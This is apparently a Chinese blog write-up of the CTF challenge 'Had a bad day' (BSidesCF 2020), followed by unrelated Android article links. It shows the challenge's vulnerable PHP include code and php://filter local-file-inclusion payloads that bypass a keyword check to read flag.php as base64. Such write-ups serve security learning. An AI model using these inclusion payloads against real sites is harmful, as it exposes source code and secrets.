BUU34 [BSidesCF 2020]Had a bad day1 【php://filter】

题目:

发现url有点奇怪

尝试读取一下flag.php,出现错误了

感觉有希望,一看url中还有个index.php,那就试试读取源码吧

出现错误,原来是index.php.php重合了,把php去掉 ,出现了

php 复制代码
<?php
	$file = $_GET['category'];

	if(isset($file))
				{
	    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
					}
	else{
			echo "Sorry, we currently only support woofers and meowers.";
					}
				}
?>

让提交的内容中含有woofers,meowers或者index就行了

这里面write可写可不写:

write 的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而 index.php 就是指定的目标文件。也就是说,write=index.php 表示要把经过当前过滤器处理后的数据写入到 index.php 文件里。

解码得到flag

filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=index/convert.base64-encode/resource=flag(顺序可以变换)

PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响

所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag

相关推荐
AFinalStone20 分钟前
Android12 U盘插拔链路源码全解析(五):Framework层(下) StorageManagerService
android·frameworks
林九生2 小时前
【实用技巧】MySQL 绿色版一键路径更新脚本详解 —— update_path.bat 深度解析
android·数据库·mysql
故渊at3 小时前
第十三板块:Android 综合架构与未来演进 | 第三十一篇:Android 架构演进与 Fuchsia OS 的挑战
android·架构·宏内核·微内核·fuchsia·ipc 性能博弈
aqi003 小时前
一文速览 HarmonyOS 6.1.1 推出的十个新特性
android·华为·harmonyos·鸿蒙·harmony
matrixmind13 小时前
aiomysql:异步场景下的 MySQL 驱动
android·数据库·mysql·其他
随遇丿而安3 小时前
第8周:弹窗 / 提示组件全功能与弹窗优化
android
zh_xuan3 小时前
诡异Bug:输入框删除字符,却越删越多
android·bug
nwsuaf_huasir3 小时前
matlab绘制尺寸和字体合适的图片插入到latex的方法
android·开发语言·matlab
future_li4 小时前
Speed Tools:一套低侵入的 Android 插件化 + 动态换肤 + 字体切换框架
android
杊页4 小时前
第一板块:Android 系统基石与运行原理 | 第二篇:Android 编译、打包与安装机制
android·操作系统